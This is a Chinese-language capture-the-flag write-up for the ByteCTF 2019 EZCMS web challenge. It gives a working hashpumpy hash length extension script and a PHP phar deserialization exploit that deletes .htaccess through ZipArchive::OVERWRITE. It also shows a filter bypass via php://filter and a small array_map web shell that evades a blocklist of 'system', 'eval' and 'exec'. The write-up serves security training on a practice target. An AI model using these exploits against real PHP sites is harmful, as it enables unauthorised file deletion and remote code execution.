Byte ctf2019的一道题目
buuoj上的环境:https://buuoj.cn/challenges#[ByteCTF%202019]EZCMS
源码下载:https://github.com/CTFTraining/bytectf_2019_web_ezcms

题目直接给出了源码

1.哈希拓展攻击

先看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$username = urldecode($username);
$password = urldecode($password);
if ($password === "admin"){
die("u r not admin !!!");
}
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;

if (login()){
echo '<script>location.href="upload.php";</script>';
}
}

可以看到只要密码不是admin都可以登录进去,但是登陆进去却不能上传文件
而在upload.php中存在一个认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function login(){

$secret = "********";
//设置了一个名叫hash的cookie,值为md5($secret."adminadmin")
setcookie("hash", md5($secret."adminadmin"));
return 1;

}

function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}

可以发现这里存在哈希拓展攻击,用hashpump写个脚本

1
2
3
4
5
6
7
8
9
10
import hashpumpy
import urllib.parse

sign = '52107b08c0f3342d2153ae1d68e6262c' #从cookie中获得
param='admin'
sign,add_data = hashpumpy.hashpump(sign,'adminadmin','123',8) #登录时密码为123,用户名为admin,admin+123长度为8
add_data = add_data[len(param):]
print(sign)
print(add_data)
print(urllib.parse.quote(add_data))

得到密码为

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00123

再添加一个名为user的cookie,值为4b2928c6b562e5e4dbd35df611b46487
用新的密码重新登录就可以上传文件了

2.发现phar反序列化

随便上传一个php文件可以发现存在一个.htaccess文件,使得上传的php文件无法解析
存在一个检测上传文件mime类型的功能,和suctf2019的upload labs2很类似,猜测存在phar反序列化,看看config.php中的代码

1
2
3
4
5
6
7
8
9
10
11
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}
  • 使用了mime_content_type函数来检测文件mime类型
    https://blog.zsxsoft.com/post/38 中提到过,凡是调用了php_stream_locate_url_wrapper函数的php函数都会触发phar反序列化
    https://github.com/php/php-src 下载php的源码,看一看mime_content_type的实现
    avatar
    调用了php_stream_locate_url_wrapper,存在phar反序列化
  • 前面禁止phar出现在url开头,但可以用php://filter/resource=phar://绕过(出自suctf2019的upload labs2)

3.寻找利用链

首先寻找__destruct方法,只有一个

1
2
3
4
5
6
7
//config.php File类
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}

Admin类存在upload_file方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function upload_file(){

if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
  • 最初的思路是将File类的checker设成Admin类,然后利用upload_file()中的move_uploaded_file()把上传的php文件移到上级目录
    但后来发现这是行不通的,在php手册中move_uploaded_file的部分写到

    本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。

  • 这时候发现Profile类存在一个__call方法

    1
    2
    3
    4
    5
    //__call会在在调用的方法不存在时会自动调用
    function __call($name, $arguments)
    {
    $this->admin->open($this->username, $this->password);
    }

    Profile类不存在upload_file方法,因此把checker车位Profile类的话就会调用这个__call函数
    接下来的问题就是要找到一个具有open方法的类

    3.使用ZipArchive::open删除.htaccess

    这里吹一波roverdoge,他在insomnihack-teaser-2018的wp( https://www.jianshu.com/p/972327151eff )中找到了ZipArchive::open方法,将第二个参数设为ZipArchive::OVERWRITE 就可以把文件删掉,利用这个方法把.htaccess删掉就可以解析成功了

  • 这里有一个坑的地方是phar反序列化的时候工作目录是php所在的目录而不是web目录,一开始不知道这一点用相对路径去删始终不成功。最后本地测试加了一个getcwd()才知道要用绝对路径
    最后的poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    <?php
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt','text');
    $phar->setStub('<script language="php">__HALT_COMPILER();</script>');

    class File{
    public $checker;

    function __construct($admin)
    {
    $this->checker=$admin;
    }
    }

    class Profile{
    public $username;
    public $password;
    public $admin;

    function __construct()
    {
    $this->admin=new ZipArchive();
    $this->username = "/var/www/html/sandbox/1050a6a70986f01594e231dadd01f541/.htaccess";
    $this->password = ZIPARCHIVE::OVERWRITE;
    }
    }

    $admin = new Profile();
    $object = new File($admin);
    echo serialize($object);
    $phar->setMetadata($object);
    $phar->stopBuffering();
    ?>

    将生成的test.phar上传上去,然后访问

    view.php?filename=8650b7902e96771b2267398829fc5234.phar&filepath=php://filter/resource=phar://./sandbox/1050a6a70986f01594e231dadd01f541/8650b7902e96771b2267398829fc5234.phar

这时访问之前上传的马就可以解析了,上传文件的内容有一个限制

1
2
3
4
5
6
7
8
9
10
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}

这个很好绕过,比如

1
2
3
4
5
6
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

然后?a=system&b=cat /flag 拿到flag